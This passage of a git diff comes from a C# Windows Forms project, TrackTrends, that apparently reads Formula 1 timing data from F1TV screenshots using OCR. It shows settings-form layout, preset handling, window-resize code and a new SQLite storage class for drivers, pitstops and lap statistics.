zone"; + this.btnCreatZone.UseVisualStyleBackColor = false; + this.btnCreatZone.Click += new System.EventHandler(this.btnCreatZone_Click); + // + // gpbxWindowPreview + // + this.gpbxWindowPreview.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.gpbxWindowPreview.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(79)))), ((int)(((byte)(79)))), ((int)(((byte)(79))))); + this.gpbxWindowPreview.Controls.Add(this.pbxWindowPreview); + this.gpbxWindowPreview.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.gpbxWindowPreview.Font = new System.Drawing.Font("Microsoft YaHei UI", 10F); + this.gpbxWindowPreview.ForeColor = System.Drawing.Color.White; + this.gpbxWindowPreview.Location = new System.Drawing.Point(18, 688); + this.gpbxWindowPreview.Name = "gpbxWindowPreview"; + this.gpbxWindowPreview.Padding = new System.Windows.Forms.Padding(0); + this.gpbxWindowPreview.Size = new System.Drawing.Size(1237, 88); + this.gpbxWindowPreview.TabIndex = 5; + this.gpbxWindowPreview.TabStop = false; + this.gpbxWindowPreview.Text = "DriverZonePreview"; + this.gpbxWindowPreview.Paint += new System.Windows.Forms.PaintEventHandler(this.removeBorders); + // + // pbxWindowPreview + // + this.pbxWindowPreview.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.pbxWindowPreview.Location = new System.Drawing.Point(6, 30); + this.pbxWindowPreview.Name = "pbxWindowPreview"; + this.pbxWindowPreview.Size = new System.Drawing.Size(1225, 50); + this.pbxWindowPreview.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pbxWindowPreview.TabIndex = 0; + this.pbxWindowPreview.TabStop = false; + this.pbxWindowPreview.Click += new System.EventHandler(this.pbxDriverZone_Click); + this.pbxWindowPreview.MouseClick += new System.Windows.Forms.MouseEventHandler(this.pbxDriverZone_MouseClick); + // + // btnLoadPreset + // + this.btnLoadPreset.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.btnLoadPreset.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.btnLoadPreset.ForeColor = System.Drawing.Color.White; + this.btnLoadPreset.Location = new System.Drawing.Point(10, 213); + this.btnLoadPreset.Name = "btnLoadPreset"; + this.btnLoadPreset.Size = new System.Drawing.Size(243, 40); + this.btnLoadPreset.TabIndex = 10; + this.btnLoadPreset.Text = "Load the preset"; + this.btnLoadPreset.UseVisualStyleBackColor = false; + this.btnLoadPreset.Click += new System.EventHandler(this.btnLoadPreset_Click); + // + // lsbPresets + // + this.lsbPresets.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.lsbPresets.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.lsbPresets.Font = new System.Drawing.Font("Microsoft YaHei UI", 10F); + this.lsbPresets.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(252)))), ((int)(((byte)(252)))), ((int)(((byte)(252))))); + this.lsbPresets.FormattingEnabled = true; + this.lsbPresets.ItemHeight = 23; + this.lsbPresets.Location = new System.Drawing.Point(10, 23); + this.lsbPresets.Name = "lsbPresets"; + this.lsbPresets.Size = new System.Drawing.Size(243, 138); + this.lsbPresets.TabIndex = 8; + this.lsbPresets.SelectedIndexChanged += new System.EventHandler(this.lsbPresets_SelectedIndexChanged); + // + // tbxPresetName + // + this.tbxPresetName.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.tbxPresetName.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.tbxPresetName.Font = new System.Drawing.Font("Microsoft YaHei UI", 11F); + this.tbxPresetName.ForeColor = System.Drawing.Color.White; + this.tbxPresetName.Location = new System.Drawing.Point(10, 303); + this.tbxPresetName.Name = "tbxPresetName"; + this.tbxPresetName.Size = new System.Drawing.Size(243, 24); + this.tbxPresetName.TabIndex = 7; + // + // btnSavePreset + // + this.btnSavePreset.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.btnSavePreset.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.btnSavePreset.ForeColor = System.Drawing.Color.White; + this.btnSavePreset.Location = new System.Drawing.Point(10, 259); + this.btnSavePreset.Name = "btnSavePreset"; + this.btnSavePreset.Size = new System.Drawing.Size(243, 40); + this.btnSavePreset.TabIndex = 7; + this.btnSavePreset.Text = "Save current preset"; + this.btnSavePreset.UseVisualStyleBackColor = false; + this.btnSavePreset.Click += new System.EventHandler(this.btnSavePreset_Click); + // + // gpbxPresets + // + this.gpbxPresets.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.gpbxPresets.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(79)))), ((int)(((byte)(79)))), ((int)(((byte)(79))))); + this.gpbxPresets.Controls.Add(this.btnSavePreset); + this.gpbxPresets.Controls.Add(this.btnDeletePreset); + this.gpbxPresets.Controls.Add(this.tbxPresetName); + this.gpbxPresets.Controls.Add(this.btnLoadPreset); + this.gpbxPresets.Controls.Add(this.lsbPresets); + this.gpbxPresets.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.gpbxPresets.Font = new System.Drawing.Font("Microsoft YaHei UI", 10F); + this.gpbxPresets.ForeColor = System.Drawing.Color.White; + this.gpbxPresets.Location = new System.Drawing.Point(995, 348); + this.gpbxPresets.Name = "gpbxPresets"; + this.gpbxPresets.Padding = new System.Windows.Forms.Padding(0); + this.gpbxPresets.Size = new System.Drawing.Size(259, 333); + this.gpbxPresets.TabIndex = 6; + this.gpbxPresets.TabStop = false; + this.gpbxPresets.Text = "Presets"; + this.gpbxPresets.Paint += new System.Windows.Forms.PaintEventHandler(this.removeBorders); + // + // btnDeletePreset + // + this.btnDeletePreset.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.btnDeletePreset.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.btnDeletePreset.ForeColor = System.Drawing.Color.White; + this.btnDeletePreset.Location = new System.Drawing.Point(10, 167); + this.btnDeletePreset.Name = "btnDeletePreset"; + this.btnDeletePreset.Size = new System.Drawing.Size(243, 40); + this.btnDeletePreset.TabIndex = 11; + this.btnDeletePreset.Text = "Delete the preset"; + this.btnDeletePreset.UseVisualStyleBackColor = false; + this.btnDeletePreset.Click += new System.EventHandler(this.btnDeletePreset_Click); + // + // Settings + // + this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 19F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.ClientSize = new System.Drawing.Size(1266, 788); + this.Controls.Add(this.gpbxPresets); + this.Controls.Add(this.gpbxWindowPreview); + this.Controls.Add(this.gpbxPreview); + this.Controls.Add(this.gpbxDriverList); + this.Controls.Add(this.label1); + this.Controls.Add(this.gpbxRaceSettings); + this.Font = new System.Drawing.Font("Microsoft YaHei UI", 7.8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.MinimumSize = new System.Drawing.Size(1284, 835); + this.Name = "Settings"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Settings"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Settings_FormClosing); + this.Resize += new System.EventHandler(this.Settings_Resize); + this.gpbxRaceSettings.ResumeLayout(false); + this.gpbxRaceSettings.PerformLayout(); + this.gpbxDriverList.ResumeLayout(false); + this.gpbxDriverList.PerformLayout(); + this.gpbxPreview.ResumeLayout(false); + this.gpbxPreview.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbxPreview)).EndInit(); + this.gpbxWindowPreview.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pbxWindowPreview)).EndInit(); + this.gpbxPresets.ResumeLayout(false); + this.gpbxPresets.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.GroupBox gpbxRaceSettings; + private System.Windows.Forms.TextBox tbxGpUrl; + private System.Windows.Forms.GroupBox gpbxDriverList; + private System.Windows.Forms.ListBox lsbDrivers; + private System.Windows.Forms.Button btnRemoveDriver; + private System.Windows.Forms.Button btnAddDriver; + private System.Windows.Forms.TextBox tbxDriverName; + private System.Windows.Forms.GroupBox gpbxPreview; + private System.Windows.Forms.PictureBox pbxPreview; + private System.Windows.Forms.GroupBox gpbxWindowPreview; + private System.Windows.Forms.PictureBox pbxWindowPreview; + private System.Windows.Forms.Button btnCreateWindow; + private System.Windows.Forms.Button btnCreatZone; + private System.Windows.Forms.ListBox lsbPresets; + private System.Windows.Forms.TextBox tbxPresetName; + private System.Windows.Forms.Button btnSavePreset; + private System.Windows.Forms.Label lblWindowsRemaining; + private System.Windows.Forms.Label lblZonePointsRemaning; + private System.Windows.Forms.Label lblWindowPointsRemaining; + private System.Windows.Forms.Button btnRefresh; + private System.Windows.Forms.Button btnResetDriver; + private System.Windows.Forms.Button btnLoadPreset; + private System.Windows.Forms.GroupBox gpbxPresets; + private System.Windows.Forms.Button btnDeletePreset; + private System.Windows.Forms.ToolTip tip1; + } +} \ No newline at end of file diff --git a/docs/Code/Settings.cs b/docs/Code/Settings.cs index d3fe13a..28077fd 100644 --- a/docs/Code/Settings.cs +++ b/docs/Code/Settings.cs @@ -8,14 +8,14 @@ using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; +using TrackTrends; -namespace Test_Merge +namespace TrackTrends { public partial class Settings : Form { private string _grandPrixUrl = ""; - private string _grandPrixName = ""; - private int _grandPrixYear = 2000; + private string _selectedConfigFile; private List _driverList = new List(); private F1TVEmulator Emulator = null; @@ -32,9 +32,16 @@ namespace Test_Merge List WindowsToAdd = new List(); public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; } - public string GrandPrixName { get => _grandPrixName; private set => _grandPrixName = value; } - public int GrandPrixYear { get => _grandPrixYear; private set => _grandPrixYear = value; } public List DriverList { get => _driverList; private set => _driverList = value; } + public string SelectedConfigFile { get => _selectedConfigFile; private set => _selectedConfigFile = value; } + + //For the responsive content + Size oldSize = new Size(); + Size oldGpbxPreviewSize = new Size(); + Size oldGpbxWindowPreviewSize = new Size(); + + Size oldPbxPreviewSize = new Size(); + Size oldPbxWindowPreviewSize = new Size(); public Settings() { @@ -44,10 +51,23 @@ namespace Test_Merge private void Load() { RefreshUI(); + oldSize = this.Size; + oldGpbxPreviewSize = gpbxPreview.Size; + oldGpbxWindowPreviewSize = gpbxWindowPreview.Size; + oldPbxPreviewSize = pbxPreview.Size; + oldPbxWindowPreviewSize = pbxWindowPreview.Size; + + tip1.SetToolTip(btnCreatZone, "After clicking you can select two points in the image to set the bounds of the important data"); + tip1.SetToolTip(btnCreateWindow, "After clicking this you will have to select all the windows that are important on the lower image. Refer to the documentation for more infos"); + tip1.SetToolTip(btnRefresh, "Starts the emulator or refreshes the images if its already running"); + tip1.SetToolTip(btnResetDriver, "Resets the driver if something went wrong or if you want to test an other URL"); + tip1.SetToolTip(lsbDrivers, "The drivers that are on the image. Non-Case sensitive"); + tip1.SetToolTip(tbxPresetName, "The name of the preset you want to save"); + tip1.SetToolTip(pbxPreview, "What the emulator returns"); + tip1.SetToolTip(pbxWindowPreview, "One of the driver zones that the program managed to slice from the main zone"); } private void RefreshUI() { - lsbDrivers.DataSource = null; lsbDrivers.DataSource = DriverList; @@ -91,15 +111,15 @@ namespace Test_Merge } if (Config != null) { - pbxMain.Image = Config.MainZone.Draw(); - if(Config.MainZone.Zones.Count > 0) - pbxDriverZone.Image = Config.MainZone.Zones[0].Draw(); + pbxPreview.Image = Config.MainZone.Draw(); + if (Config.MainZone.Zones.Count > 0) + pbxWindowPreview.Image = Config.MainZone.Zones[0].Draw(); } } private void CreateNewZone(Point p1, Point p2) { Rectangle dimensions = CreateAbsoluteRectangle(p1, p2); - Config = new ConfigurationTool((Bitmap)pbxMain.Image, dimensions); + Config = new ConfigurationTool((Bitmap)pbxPreview.Image, dimensions); RefreshUI(); } private void CreateWindows(List dimensions) @@ -114,25 +134,6 @@ namespace Test_Merge GrandPrixUrl = tbxGpUrl.Text; } - private void tbxGpName_TextChanged(object sender, EventArgs e) - { - GrandPrixName = tbxGpName.Text; - } - - private void tbxGpYear_TextChanged(object sender, EventArgs e) - { - int year; - try - { - year = Convert.ToInt32(tbxGpYear.Text); - } - catch - { - year = 1545; - } - GrandPrixYear = year; - } - private void btnAddDriver_Click(object sender, EventArgs e) { string newDriver = tbxDriverName.Text; @@ -169,7 +170,7 @@ namespace Test_Merge if (Emulator != null && Emulator.Ready) { Config = null; - pbxMain.Image = Emulator.Screenshot(); + pbxPreview.Image = Emulator.Screenshot(); } ZoneP1 = new Point(-1, -1); @@ -212,12 +213,12 @@ namespace Test_Merge } private void pbxMain_MouseClick(object sender, MouseEventArgs e) { - if (CreatingZone && pbxMain.Image != null) + if (CreatingZone && pbxPreview.Image != null) { //Point coordinates = pbxMain.PointToClient(new Point(MousePosition.X, MousePosition.Y)); Point coordinates = e.Location; - float xOffset = (float)pbxMain.Image.Width / (float)pbxMain.Width; - float yOffset = (float)pbxMain.Image.Height / (float)pbxMain.Height; + float xOffset = (float)pbxPreview.Image.Width / (float)pbxPreview.Width; + float yOffset = (float)pbxPreview.Image.Height / (float)pbxPreview.Height; Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset)); //MessageBox.Show("Coordinates" + Environment.NewLine + "Old : " + coordinates.ToString() + Environment.NewLine + "New : " + newPoint.ToString()); @@ -241,12 +242,12 @@ namespace Test_Merge } private void pbxDriverZone_MouseClick(object sender, MouseEventArgs e) { - if (CreatingWindow && pbxDriverZone.Image != null) + if (CreatingWindow && pbxWindowPreview.Image != null) { Point coordinates = e.Location; - float xOffset = (float)pbxDriverZone.Image.Width / (float)pbxDriverZone.Width; - float yOffset = (float)pbxDriverZone.Image.Height / (float)pbxDriverZone.Height; + float xOffset = (float)pbxWindowPreview.Image.Width / (float)pbxWindowPreview.Width; + float yOffset = (float)pbxWindowPreview.Image.Height / (float)pbxWindowPreview.Height; Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset)); @@ -267,7 +268,7 @@ namespace Test_Merge else { WindowP1 = new Point(WindowP1.X, 0); - WindowP2 = new Point(WindowP2.X, pbxDriverZone.Image.Height); + WindowP2 = new Point(WindowP2.X, pbxWindowPreview.Image.Height); CreateWindows(WindowsToAdd); SwitchWindowCreation(); } @@ -311,6 +312,9 @@ namespace Test_Merge private async void btnRefresh_Click(object sender, EventArgs e) { btnRefresh.Enabled = false; + btnCreatZone.Enabled = false; + btnCreateWindow.Enabled = false; + btnResetDriver.Enabled = false; if (Emulator == null || Emulator.GrandPrixUrl != tbxGpUrl.Text) { Emulator = new F1TVEmulator(tbxGpUrl.Text); @@ -325,6 +329,9 @@ namespace Test_Merge string message; switch (errorCode) { + case 100: + message = "Error " + errorCode + " Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again"; + break; case 101: message = "Error " + errorCode + " Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again"; break; @@ -351,14 +358,18 @@ namespace Test_Merge } else { - pbxMain.Image = Emulator.Screenshot(); + pbxPreview.Image = Emulator.Screenshot(); } } else { - pbxMain.Image = Emulator.Screenshot(); + pbxPreview.Image = Emulator.Screenshot(); } btnRefresh.Enabled = true; + btnCreatZone.Enabled = true; + btnCreateWindow.Enabled = true; + btnResetDriver.Enabled = true; + btnRefresh.Text = "Get a newer image"; } private void Settings_FormClosing(object sender, FormClosingEventArgs e) @@ -367,6 +378,8 @@ namespace Test_Merge { Emulator.Stop(); } + Emulator = null; + GC.Collect(); } private void btnResetDriver_Click(object sender, EventArgs e) @@ -382,27 +395,30 @@ namespace Test_Merge string presetName = tbxPresetName.Text; if (Config != null) { - Config.SaveToJson(DriverList,presetName); + Config.SaveToJson(DriverList, presetName); } RefreshUI(); } private void lsbPresets_SelectedIndexChanged(object sender, EventArgs e) { - //Nothing + SelectedConfigFile = (string)lsbPresets.Items[lsbPresets.SelectedIndex]; } private void btnLoadPreset_Click(object sender, EventArgs e) { - if (lsbPresets.SelectedIndex >= 0 && pbxMain.Image != null) + //MessageBox.Show(lsbPresets.SelectedIndex.ToString()); + if (lsbPresets.SelectedIndex >= 0 && pbxPreview.Image != null) { try { - Reader reader = new Reader(lsbPresets.Items[lsbPresets.SelectedIndex].ToString(), (Bitmap)pbxMain.Image,false); + string fileName = lsbPresets.Items[lsbPresets.SelectedIndex].ToString(); + Reader reader = new Reader(fileName, (Bitmap)pbxPreview.Image, false); //MainZones #0 is the big main zone containing driver zones - Config = new ConfigurationTool((Bitmap)pbxMain.Image, reader.MainZones[0].Bounds); + Config = new ConfigurationTool((Bitmap)pbxPreview.Image, reader.MainZones[0].Bounds); Config.MainZone = reader.MainZones[0]; DriverList = reader.Drivers; + SelectedConfigFile = fileName; } catch (Exception ex) { @@ -411,5 +427,51 @@ namespace Test_Merge RefreshUI(); } } + + private void Settings_Resize(object sender, EventArgs e) + { + int xDiff = this.Width - oldSize.Width; + int yDiff = this.Height - oldSize.Height; + + gpbxPreview.Size = new Size(oldGpbxPreviewSize.Width + xDiff, oldGpbxPreviewSize.Height + yDiff); + gpbxWindowPreview.Size = new Size(oldGpbxWindowPreviewSize.Width + xDiff, oldGpbxWindowPreviewSize.Height); + pbxPreview.Size = new Size(oldPbxPreviewSize.Width + xDiff, oldPbxPreviewSize.Height + yDiff); + pbxWindowPreview.Size = new Size(oldPbxWindowPreviewSize.Width + xDiff, oldPbxWindowPreviewSize.Height); + } + + private void btnDeletePreset_Click(object sender, EventArgs e) + { + int selectedIndex = lsbPresets.SelectedIndex; + if (selectedIndex >= 0) + { + string fileName = lsbPresets.Items[selectedIndex].ToString(); + if (File.Exists(fileName)) + { + File.Delete(fileName); + RefreshUI(); + } + else + { + MessageBox.Show("Could not delete the preset because it does not exists"); + } + } + } + + private void removeBorders(object sender, PaintEventArgs e) + { + GroupBox gpbx = (GroupBox)sender; + + using (Pen pen = new Pen(gpbx.BackColor, 50)) + { + e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1); + e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1); + } + + using (var brush = new SolidBrush(gpbx.ForeColor)) + { + var textPosition = new Point(5, 0); // Adjust the X and Y values as needed + e.Graphics.DrawString(gpbx.Text, gpbx.Font, brush, textPosition); + } + } } } diff --git a/docs/Code/SqliteStorage.cs b/docs/Code/SqliteStorage.cs new file mode 100644 index 0000000..21eec7a --- /dev/null +++ b/docs/Code/SqliteStorage.cs @@ -0,0 +1,262 @@ +/// Author : Maxime Rohmer +/// Date : 30/05/2023 +/// File : SqliteStorage.cs +/// Brief : Class that controls the sqlite database +/// Version : Alpha 1.0 + +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Data.SQLite; +using System.IO; +using System.Windows.Forms; + +namespace TrackTrends +{ + public class SqliteStorage + { + private const string DATABASE_FOLDER = "./Data"; + private const string DATABASE_FILE = "/database.sqlite"; + private const string CONNECTION_STRING = "Data Source=" + DATABASE_FOLDER + DATABASE_FILE + ";Version=3;"; + + private SQLiteConnection Connection; + /// + /// Creates a new Sqlite Storage and initialize the database + /// + public SqliteStorage() + { + Load(); + } + /// + /// Loads a fresh new Database or create a new one if it does not exist. + /// + private void Load() + { + if (!Directory.Exists(DATABASE_FOLDER)) + Directory.CreateDirectory(DATABASE_FOLDER); + + if (!File.Exists(DATABASE_FOLDER + DATABASE_FILE)) + { + SQLiteConnection.CreateFile(DATABASE_FOLDER + DATABASE_FILE); + } + else + { + //We are not using the existing DataBase + File.Delete(DATABASE_FOLDER + DATABASE_FILE); + } + + Connection = new SQLiteConnection(CONNECTION_STRING); + Connection.Open(); + + //Create the drivers table + string createDriversTableQuery = @"CREATE TABLE IF NOT EXISTS Drivers + (ID INTEGER PRIMARY KEY AUTOINCREMENT, + Name VARCHAR NOT NULL);"; + using (var command = new SQLiteCommand(createDriversTableQuery, Connection)) + { + command.ExecuteNonQuery(); + } + + //Create the drivers table + string createPitstopTableQuery = @"CREATE TABLE Pitstops + (Lap INTEGER NOT NULL, + DriverID INTEGER NOT NULL, + Tyre VARCHAR, + PRIMARY KEY (Lap,DriverID));"; + using (var command = new SQLiteCommand(createPitstopTableQuery, Connection)) + { + command.ExecuteNonQuery(); + } + + //Create the stats + string createStatsTableQuery = @"CREATE TABLE IF NOT EXISTS Stats + (Lap INTEGER NOT NULL, + DriverID INTEGER NOT NULL, + Tyre VARCHAR NOT NULL, + LapTime INTEGER NOT NULL, + Sector1 INTEGER NOT NULL, + Sector2 INTEGER NOT NULL, + Sector3 INTEGER NOT NULL, + GapToLeader INTEGER NOT NULL, + Position INTEGER NOT NULL, + PRIMARY KEY (Lap, DriverID));"; + using (var command = new SQLiteCommand(createStatsTableQuery, Connection)) + { + command.ExecuteNonQuery(); + } + } + /// + /// Adds a driver into the drivers table. Meant to be used at the start of the programm + /// + /// The name of the driver. (non case sensitive) + public void AddDriver(string name) + { + string insertQuery = "INSERT INTO Drivers (Name) VALUES (@name);"; + + using (var command = new SQLiteCommand(insertQuery,Connection)) + { + command.Parameters.AddWithValue("@Name",name); + + try + { + command.ExecuteNonQuery(); + } + catch + { + //MessageBox.Show("An error has occured while trying to insert a new driver into de Database"); + } + } + } + /// + /// Searches for a driver and returns its id if it has been found + /// + /// Name of the driver (non case sensitive) + /// + private int GetDriverID(string name) + { + string selectQuery = "SELECT ID FROM Drivers where Name LIKE @driverName"; + int result = 0; + using (var command = new SQLiteCommand(selectQuery,Connection)) + { + command.Parameters.AddWithValue("@driverName",name); + try + { + using (var reader = command.ExecuteReader()) + { + while (reader.Read()) + { + result = reader.GetInt32(0); + } + } + } + catch + { + //MessageBox.Show("There has been an error while trying to retrieve the ID of a Driver from the database"); + } + } + return result; + } + /// + /// Gets the sectors from a lapTime. Sectors are subdivisions of a laptime (could be usefull to validate one or the other) + /// + /// The name of the driver who has done the lap + /// The lap at wich the driver has done the time + /// A list of the different sectors time in int (ms) + public List GetSectorsFromLapTime(string driverName,int lap) + { + int driverId = GetDriverID(driverName); + string selectQuery = "SELECT Sector1,Sector2,Sector3 FROM Stats WHERE DriverID = @driverID AND Lap = @lap"; + List result = new List(); + using (var command = new SQLiteCommand(selectQuery, Connection)) + { + command.Parameters.AddWithValue("@driverID", driverId); + command.Parameters.AddWithValue("@lap", lap); + try + { + SQLiteDataReader reader = command.ExecuteReader(); + while (reader.Read()) + { + result.Add(reader.GetInt32(0)); + result.Add(reader.GetInt32(1)); + result.Add(reader.GetInt32(2)); + } + } + catch + { + //MessageBox.Show("There has been an error while trying to retrieve the ID of a Driver from the database"); + } + } + return result; + } + /// + /// Get the laptime history of a driver + /// + /// The name of the driver + /// The number of lapTimes you want + /// A list of tuples with the lap and the laptime. It will only return the amount it found so even if you ask 5 expect getting less or even 0 + public List<(int LapTime, int Lap)> GetDriverLaptimes(string driverName,int numberOfLaptimes) + { + int driverId = GetDriverID(driverName); + List<(int LapTime, int Lap)> lapData = new List<(int LapTime, int Lap)>(); + string selectQuery = "Select LapTime,Lap from Stats WHERE DriverID = @driverID ORDER BY Lap DESC LIMIT @limit"; + using (var command = new SQLiteCommand(selectQuery, Connection)) + { + command.Parameters.AddWithValue("@driverID", driverId); + command.Parameters.AddWithValue("@limit", numberOfLaptimes); + try + { + SQLiteDataReader reader = command.ExecuteReader(); + while (reader.Read()) + { + int lapTime = reader.GetInt32(0); + int lap = reader.GetInt32(1); + lapData.Add((lapTime, lap)); + } + } + catch + { + //MessageBox.Show("There has been an error while trying to retrieve the ID of a Driver from the database"); + } + } + return lapData; + } + /// + /// Add a pitstop into the db + /// + /// The name of the driver who made his pitstop + /// The lap where he stopped + /// The tyre he took out + public void AddPitstop(string driverName,int lap,string tyre) + { + string insertQuery = "INSERT INTO Pitstops (Lap,DriverID,Tyre) VALUES (@Lap,@DriverID,@Tyre)"; + + using (var command = new SQLiteCommand(insertQuery,Connection)) + { + command.Parameters.AddWithValue("@Lap",lap); + command.Parameters.AddWithValue("@DriverID",GetDriverID(driverName)); + command.Parameters.AddWithValue("@Tyre",tyre); + try + { + command.ExecuteNonQuery(); + } + catch + { + //MessageBox.Show("An error has occured while trying to insert a new pitstop into the DB" + Environment.NewLine + "Request :"+ command.ToString()); + } + } + } + /// + /// Adds drivers info into the DB (it should only be once per lap) + /// + /// The Driver data + /// The lap from wich the datas are from + public void AddDriverStat(DriverData data,int lap) + { + string insertQuery = "INSERT INTO Stats (Lap,DriverID,Tyre,LapTime,Sector1,Sector2,Sector3,GapToLeader,Position) VALUES (@Lap,@DriverID,@Tyre,@LapTime,@Sector1,@Sector2,@Sector3,@GapToLeader,@Position);"; + + using (var command = new SQLiteCommand(insertQuery,Connection)) + { + command.Parameters.AddWithValue("@Lap",lap); + command.Parameters.AddWithValue("@DriverID",GetDriverID(data.Name)); + command.Parameters.AddWithValue("@Tyre",data.CurrentTyre.Coumpound.ToString()); + command.Parameters.AddWithValue("@LapTime",data.LapTime); + command.Parameters.AddWithValue("@Sector1",data.Sector1); + command.Parameters.AddWithValue("@Sector2", data.Sector2); + command.Parameters.AddWithValue("@Sector3", data.Sector3); + command.Parameters.AddWithValue("@GapToLeader", data.GapToLeader); + command.Parameters.AddWithValue("@Position", data.Position); + + try + { + command.ExecuteNonQuery(); + } + catch + { + //MessageBox.Show("An error has occured while trying to insert infos about a driver"); + } + } + } + } +} diff --git a/docs/Code/Window.cs b/docs/Code/Window.cs index 4a7fe78..882153a 100644 --- a/docs/Code/Window.cs +++ b/docs/Code/Window.cs @@ -1,8 +1,8 @@ /// Author : Maxime Rohmer -/// Date : 08/05/2023 +/// Date : 30/05/2023 /// File : Window.cs /// Brief : Default Window object that is mainly expected to be inherited. -/// Version : 0.1 +/// Version : Alpha 1.0 using System; using System.Collections.Generic; @@ -15,10 +15,19 @@ using Tesseract; using System.Text.RegularExpressions; using System.Drawing.Drawing2D; -namespace Test_Merge +namespace TrackTrends { public class Window { + public const string STRING_DEBUG_FOLDER = "./GetString"; + public const string LAPTIME_DEBUG_FOLDER = "./LapTime"; + public const string GAPTOLEADER_DEBUG_FOLDER = "./Gap"; + public const string SECTOR1_DEBUG_FOLDER = "./Sector1"; + public const string SECTOR2_DEBUG_FOLDER = "./Sector2"; + public const string SECTOR3_DEBUG_FOLDER = "./Sector3"; + public const string DRS_DEBUG_FOLDER = "./DRS"; + public const string TYRE_DEBUG_FOLDER = "./Tyre"; + private Rectangle _bounds; private Bitmap _image; private string _name; @@ -28,6 +37,8 @@ namespace Test_Merge public string Name { get => _name; protected set => _name = value; } //This will have to be changed if you want to make it run on your machine public static DirectoryInfo TESS_DATA_FOLDER = new DirectoryInfo(@"C:\Users\Moi\Pictures\SeleniumScreens\TessData"); + //Debug + public static Random rnd = new Random(); public Bitmap WindowImage { @@ -40,6 +51,12 @@ namespace Test_Merge return sample; } } + /// + /// Creates a new Window + /// + /// The image of the parent zone + /// The position and size of the window + /// Does the window need to generate a tesseract engine (takes time and ressources) public Window(Bitmap image, Rectangle bounds, bool generateEngine = true) { Image = image; @@ -49,12 +66,32 @@ namespace Test_Merge Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default); Engine.DefaultPageSegMode = PageSegMode.SingleLine; } + + //DEBUG + /* + if (!Directory.Exists(STRING_DEBUG_FOLDER)) + Directory.CreateDirectory(STRING_DEBUG_FOLDER); + if (!Directory.Exists(LAPTIME_DEBUG_FOLDER)) + Directory.CreateDirectory(LAPTIME_DEBUG_FOLDER); + if (!Directory.Exists(GAPTOLEADER_DEBUG_FOLDER)) + Directory.CreateDirectory(GAPTOLEADER_DEBUG_FOLDER); + if (!Directory.Exists(SECTOR1_DEBUG_FOLDER)) + Directory.CreateDirectory(SECTOR1_DEBUG_FOLDER); + if (!Directory.Exists(SECTOR2_DEBUG_FOLDER)) + Directory.CreateDirectory(SECTOR2_DEBUG_FOLDER); + if (!Directory.Exists(SECTOR3_DEBUG_FOLDER)) + Directory.CreateDirectory(SECTOR3_DEBUG_FOLDER); + if (!Directory.Exists(DRS_DEBUG_FOLDER)) + Directory.CreateDirectory(DRS_DEBUG_FOLDER); + if (!Directory.Exists(TYRE_DEBUG_FOLDER)) + Directory.CreateDirectory(TYRE_DEBUG_FOLDER); + */ } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// Returns an object because we dont know what kind of return it will be - public virtual async Task DecodePng() + public virtual Object DecodePng() { return "NaN"; } @@ -63,7 +100,7 @@ namespace Test_Merge /// /// This is a list of the different possible drivers in the race. It should not be too big but NEVER be too short /// Returns an object because we dont know what kind of return it will be - public virtual async Task DecodePng(List driverList) + public virtual Object DecodePng(List driverList) { return "NaN"; } @@ -87,12 +124,15 @@ namespace Test_Merge /// The type of window it is /// The Tesseract Engine /// The time in milliseconds - 